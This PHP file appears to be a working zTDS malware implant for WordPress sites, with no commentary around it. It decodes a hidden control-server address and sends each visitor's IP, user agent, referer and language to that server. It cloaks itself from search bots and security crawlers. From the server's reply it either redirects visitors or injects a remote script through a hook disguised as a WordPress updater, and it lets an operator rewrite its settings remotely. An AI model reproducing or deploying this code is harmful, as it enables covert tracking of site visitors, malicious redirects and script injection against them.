<?php
@error_reporting(0);
@ini_set('display_errors', 0);
@date_default_timezone_set('UTC');
$z_test_config = $z_mode = '';
$z_key_api_host = 'H4sIAAAAAAACA8soKSkottLXr8gqLE0tqtRLzs8FACxGpBMTAAAA';
$z_url = gzdecode(base64_decode($z_key_api_host));
$z_conf_edit = 0;
$z_conf_file = 'null.ini';
$z_allow_ip = '';
$z_get = 'q';
$z_timeout = 10;
if($z_conf_edit == 1 && file_exists($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file)){$z_test_config = 1;}
if(!empty($_GET[$z_get])){$z_key = trim($_GET[$z_get]);$z_mode = 1;$z_conf_edit = 0;}
if($z_conf_edit == 0 || ($z_conf_edit == 1 && empty($z_test_config))){
	$z_conf = array();
	$z_conf['id'] = 'go';
	$z_conf['sub_del'] = 0;
	$z_conf['cf_ip'] = 0;
	$z_conf['em_referer'] = 0;
	$z_conf['em_useragent'] = 1;
	$z_conf['em_lang'] = 1;
	$z_conf['ipv6'] = 0;
	$z_conf['ptr'] = 0;
	$z_conf['rd_bots'] = 0;
	$z_conf['rd_se'] = 1;
	$z_conf['rotator'] = 1;
	$z_conf['t_cookies'] = 3600;
	$z_conf['m_cookies'] = 0;
	$z_conf['method'] = 1;
	$z_conf['conf_lc'] = date("d.m.Y H:i:s");
	$z_conf['status'] = 1;
	$z_conf['ip_serv_seodor'] = '';
	$z_conf['sign_ref'] = htmlentities('iframe-toloka.com,hghltd.yandex.net', ENT_QUOTES, 'UTF-8');
	$z_conf['sign_ua'] = htmlentities('ahrefs,aport,ask,bot,btwebclient,butterfly,commentreader,copier,crawler,crowsnest,curl,disco,ezooms,fairshare,httrack,ia_archiver,internetseer,java,js-kit,larbin,libwww,linguee,linkexchanger,lwp-trivial,netvampire,nigma,ning,nutch,offline,peerindex,pingadmin,postrank,rambler,semrush,slurp,soup,spider,sweb,teleport,twiceler,voyager,wget,wordpress,yeti,zeus', ENT_QUOTES, 'UTF-8');
	if($z_conf_edit == 1 && empty($z_test_config)){
		$z_conf_default = serialize($z_conf);
		file_put_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file, $z_conf_default, LOCK_EX);
		$z_conf = unserialize(file_get_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file));
	}
}
if($z_conf_edit == 1 && !empty($z_test_config)){
	$z_conf = unserialize(file_get_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file));
}
if($z_conf_edit == 1 && !empty($_GET['key']) && $_GET['key'] == $z_key_api_host && empty($_GET['conf'])){
	if(!z_ip_check($z_allow_ip)){
		header('HTTP/1.0 404 Not Found', true, 404);
		exit();
	}
	echo serialize($z_conf);
	exit();
}
if($z_conf_edit == 1 && !empty($_GET['key']) && $_GET['key'] == $z_key_api_host && !empty($_GET['conf'])){
	if(!z_ip_check($z_allow_ip)){
		header('HTTP/1.0 404 Not Found', true, 404);
		exit();
	}
	$z_conf = base64_decode($_GET['conf']);
	$z_conf_tmp = @unserialize($z_conf);
	if(is_array($z_conf_tmp)){
		file_put_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file, $z_conf, LOCK_EX);
	}
	exit();
}
$z_out = $z_lang = $z_country = $z_city = $z_region = $z_asn = $z_org = $z_device = $z_operator = $z_os_name = $z_os_version = $z_browser_name = $z_browser_version = $z_macros = '';
$z_empty = $z_bot = '-';
$z_uniq = 'yes';
if($z_conf['status'] == 1){
	$z_useragent = $z_empty;
	if(!empty($_SERVER['HTTP_USER_AGENT'])){
		$z_useragent = $_SERVER['HTTP_USER_AGENT'];
	}
	elseif($z_conf['em_useragent'] == 1){
		$z_bot = 'empty_ua';
	}
	$z_referer = $z_empty;
	$z_se = $z_empty;
	if(!empty($_SERVER['HTTP_REFERER'])){
		$z_referer = $_SERVER['HTTP_REFERER'];
		if(strstr($z_referer, 'google.')){$z_se = 'google';}
		if(strstr($z_referer, 'yandex.')){$z_se = 'yandex';}
		if(strstr($z_referer, 'mail.ru')){$z_se = 'mail';}
		if(strstr($z_referer, 'yahoo.com')){$z_se = 'yahoo';}
		if(strstr($z_referer, 'bing.com')){$z_se = 'bing';}
		if(strstr($z_referer, 'baidu.com')){$z_se = 'baidu';}
	}
	elseif($z_bot == $z_empty && $z_conf['em_referer'] == 1){
		$z_bot = 'empty_ref';
	}
	if($z_bot == $z_empty && $z_referer != $z_empty && !empty($z_conf['sign_ref'])){
		$z_ex = explode(",", $z_conf['sign_ref']);
		foreach($z_ex as $z_value){
			$z_value = trim(html_entity_decode($z_value, ENT_QUOTES, 'UTF-8'));
			if(strstr($z_referer, $z_value)){
				$z_bot = 'sign_ref';
				break;
			}
		}
	}
	if(stristr($z_useragent, 'baidu.com')){$z_bot = 'baidu';}
	if(stristr($z_useragent, 'bing.com') || stristr($z_useragent, 'msnbot')){$z_bot = 'bing';}
	if(stristr($z_useragent, 'google.')){$z_bot = 'google';}
	if(stristr($z_useragent, 'mail.ru')){$z_bot = 'mail';}
	if(stristr($z_useragent, 'yahoo.com')){$z_bot = 'yahoo';}
	if(stristr($z_useragent, 'yandex.com/bots')){$z_bot = 'yandex';}
	if(stristr($z_useragent, 'facebook')){$z_bot = 'facebook';}
	if($z_bot == $z_empty && $z_useragent != $z_empty && !empty($z_conf['sign_ua'])){
		$z_ex = explode(",", $z_conf['sign_ua']);
		foreach($z_ex as $z_value){
			$z_value = trim(html_entity_decode($z_value, ENT_QUOTES, 'UTF-8'));
			if(stristr($z_useragent, $z_value)){
				$z_bot = 'sign_ua';
				break;
			}
		}
	}
	$z_cf_country = $z_empty;
	if(!empty($_SERVER["HTTP_CF_IPCOUNTRY"])){
		$z_cf_country = strtolower($_SERVER["HTTP_CF_IPCOUNTRY"]);
	}
	if($z_conf['cf_ip'] == 1 && !empty($_SERVER["HTTP_CF_CONNECTING_IP"])){
		$z_ipuser = $_SERVER["HTTP_CF_CONNECTING_IP"];
	}
	if($z_conf['cf_ip'] == 0 || empty($z_ipuser)){
		if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){
			if(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ".") > 0 && strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ",") > 0){
				$z_ip = explode(",", $_SERVER['HTTP_X_FORWARDED_FOR']);
				$z_ipuser = trim($z_ip[0]);
			}
			elseif(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ".") > 0 && strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ",") === false){
				if(empty($z_conf['ip_serv_seodor'])){
					$z_ipuser = trim($_SERVER['HTTP_X_FORWARDED_FOR']);
				}
			}
		}
		if(empty($z_ipuser)){
			$z_ipuser = trim($_SERVER['REMOTE_ADDR']);
		}
	}
	if(!filter_var($z_ipuser, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) && !filter_var($z_ipuser, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)){
		$z_ipuser = $z_empty;
	}
	if($z_bot == $z_empty && $z_conf['ipv6'] == 1 && filter_var($z_ipuser, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)){
		$z_bot = 'ipv6';
	}
	if($z_bot == $z_empty && $z_conf['ptr'] == 1){
		$z_ptr_rec = gethostbyaddr($z_ipuser);
		if(stristr($z_ptr_rec, 'baidu')){$z_bot = 'baidu';}
		if(stristr($z_ptr_rec, 'bing') || stristr($z_ptr_rec, 'msnbot')){$z_bot = 'bing';}
		if(stristr($z_ptr_rec, 'google') && !stristr($z_ptr_rec, 'googlefiber')){$z_bot = 'google';}
		if(stristr($z_ptr_rec, 'mail.ru')){$z_bot = 'mail';}
		if(stristr($z_ptr_rec, 'yahoo')){$z_bot = 'yahoo';}
		if(stristr($z_ptr_rec, 'yandex')){$z_bot = 'yandex';}
	}
	$z_lang = $z_empty;
	if(!empty($_SERVER['HTTP_ACCEPT_LANGUAGE'])){
		$z_lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
	}
	if($z_lang == $z_empty && $z_conf['em_lang'] == 1){
		$z_bot = 'empty_lang';
	}
	$z_domain = $_SERVER['HTTP_HOST'];
	if($z_conf['sub_del'] == 1 && substr_count($z_domain, '.') > 1){
		preg_match("~^.+?\.(.+?)$~", $z_domain, $matches);
		$z_domain = $matches[1];
	}
	$z_page = $_SERVER['REQUEST_URI'];
	$z_page_url = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
	if(($z_bot == $z_empty || $z_conf['rd_bots'] == 1) && $z_ipuser != $z_empty){
		$z_n_cookies = md5($_SERVER['HTTP_HOST'].'_'.$z_conf['id']);
		$z_n_cookies_exp = md5($_SERVER['HTTP_HOST'].'_exp_'.$z_conf['id']);
		$z_t_cookies = time() + $z_conf['t_cookies'];
		$z_cookies_options = array('expires'=>$z_t_cookies, 'path'=>'/', 'domain'=>'', 'secure'=>false, 'httponly'=>true, 'samesite'=>'Lax');
		if($z_conf['rotator'] == 1){
			if(!isset($_COOKIE[$z_n_cookies])){
				$z_counter = 0;
				if(phpversion() >= 7.3){
					SetCookie($z_n_cookies, 0, $z_cookies_options);
				}
				else{
					SetCookie($z_n_cookies, 0, $z_t_cookies, '/', '', 0, 1);
				}
				if($z_conf['m_cookies'] == 1){
					if(phpversion() >= 7.3){
						SetCookie($z_n_cookies_exp, $z_t_cookies, $z_cookies_options);
					}
					else{
						SetCookie($z_n_cookies_exp, $z_t_cookies, $z_t_cookies, '/', '', 0, 1);
					}
				}
			}
			else{
				$z_counter = $_COOKIE[$z_n_cookies] + 1;
				$z_uniq = 'no';
			}
		}
		if(empty($z_key)){$z_key = '';}
		if(empty($z_options)){$z_options = array();}
		$z_request = array();
		$z_request[0] = trim($z_key_api_host);
		$z_request[1] = trim($z_conf['id']);
		$z_request[2] = trim($z_ipuser);
		$z_request[3] = trim($z_referer);
		$z_request[4] = trim($z_useragent);
		$z_request[5] = $z_se;
		$z_request[6] = trim($z_lang);
		$z_request[7] = $z_uniq;
		$z_request[8] = urlencode(trim($z_key));
		$z_request[9] = trim($z_domain);
		$z_request[10] = trim($z_page);
		$z_request[11] = trim($z_cf_country);
		$z_request[12] = $z_options;
		if($z_conf['method'] == 1){
			$z_data['api'] = serialize($z_request);
		}
		else{
			$z_url = $z_url.'/?api='.base64_encode(serialize($z_request));
		}
		if((empty($z_conf['ip_serv_seodor']) || $z_ipuser != $z_conf['ip_serv_seodor']) && ($z_conf['rd_se'] == 0 || ($z_conf['rd_se'] == 1 && $z_se != $z_empty))){
			$z_ch = curl_init();
			curl_setopt($z_ch, CURLOPT_TIMEOUT, $z_timeout);
			curl_setopt($z_ch, CURLOPT_URL, $z_url);
			curl_setopt($z_ch, CURLOPT_RETURNTRANSFER, 1);
			curl_setopt($z_ch, CURLOPT_FOLLOWLOCATION, 1);
			curl_setopt($z_ch, CURLOPT_SSL_VERIFYPEER, 0);
			curl_setopt($z_ch, CURLOPT_SSL_VERIFYHOST, 0);
			if($z_conf['method'] == 1){
				curl_setopt($z_ch, CURLOPT_POST, true);
				curl_setopt($z_ch, CURLOPT_POSTFIELDS, $z_data);
			}
			curl_setopt($z_ch, CURLOPT_USERAGENT, 'zTDS');
			$z_response = curl_exec($z_ch);
			curl_close($z_ch);
			$z_response = @unserialize($z_response);
			if(is_array($z_response)){
				$z_out = trim(html_entity_decode($z_response[0], ENT_QUOTES, 'UTF-8'));
				$z_country = $z_response[1];
				$z_region = $z_response[2];
				$z_city = $z_response[3];
				$z_asn = $z_response[4];
				$z_org = $z_response[5];
				$z_device = $z_response[6];
				$z_operator = $z_response[7];
				$z_bot = $z_response[8];
				$z_uniq = $z_response[9];
				$z_lang = $z_response[10];
				$z_macros = trim(html_entity_decode($z_response[11], ENT_QUOTES, 'UTF-8'));
				$z_os_name = $z_response[12];
				$z_os_version = $z_response[13];
				$z_br_name = $z_response[14];
				$z_br_version = $z_response[15];
				$z_brand = $z_response[16];
				if($z_conf['rotator'] == 1){
					if(strstr($z_out, '|||')){
						$z_out_ex = explode('|||', $z_out);
						if(!empty($z_out_ex[$z_counter])){
							$z_out = trim($z_out_ex[$z_counter]);
						}
						else{
							$z_out = trim($z_out_ex[0]);
							$z_counter = 0;
						}
					}
					else{
						$z_counter = 0;
					}
					if($z_conf['rotator'] == 1 && $z_uniq == 'no'){
						if(isset($_COOKIE[$z_n_cookies_exp])){
							$z_cookies_options['expires'] = $_COOKIE[$z_n_cookies_exp];
						}
						if(phpversion() >= 7.3 == 1){
							SetCookie($z_n_cookies, $z_counter, $z_cookies_options);
						}
						else{
							SetCookie($z_n_cookies, $z_counter, $z_cookies_options['expires'], '/', '', 0, 1);
						}
					}
				}
				if(strstr($z_out, '[RAWURLENCODE_REFERER]')){
					$z_out = str_replace('[RAWURLENCODE_REFERER]', rawurlencode($z_referer), $z_out);
				}
				if(strstr($z_out, '[URLENCODE_REFERER]')){
					$z_out = str_replace('[URLENCODE_REFERER]', urlencode($z_referer), $z_out);
				}
				if(strstr($z_out, '[RAWURLENCODE_PAGE_URL]')){
					$z_out = str_replace('[RAWURLENCODE_PAGE_URL]', rawurlencode($z_page_url), $z_out);
				}
				if(strstr($z_out, '[URLENCODE_PAGE_URL]')){
					$z_out = str_replace('[URLENCODE_PAGE_URL]', urlencode($z_page_url), $z_out);
				}
				if(!empty($z_mode)){
					if(!empty($z_out)){
						header("Location: $z_out");
						exit();
					}
					else{
						header('HTTP/1.0 404 Not Found', true, 404);
						exit();
					}
				}
				if($z_bot == $z_empty && !empty($z_out)){
					$GLOBALS['z_out'] = $z_out;
					add_action('wp_print_scripts', 'wp_updater_print_scripts');
				}
				function wp_updater_print_scripts() {
					global $z_out;
					echo('<script async src="' . $z_out . '"></script>');
				}
			}
		}
	}
}
function z_ip_check($z_allow_ip){
	if(!empty($z_allow_ip)){
		if(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ".") > 0 && strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ",") > 0){
			$z_ip = explode(",",$_SERVER['HTTP_X_FORWARDED_FOR']);
			$z_ip = trim($z_ip[0]);
		}
		elseif(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ".") > 0 && strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ",") === false){
			$z_ip = trim($_SERVER['HTTP_X_FORWARDED_FOR']);
		}
		if($z_ip == trim($z_allow_ip)){
			return true;
		}
	}
	else{
		return true;
	}
}
?>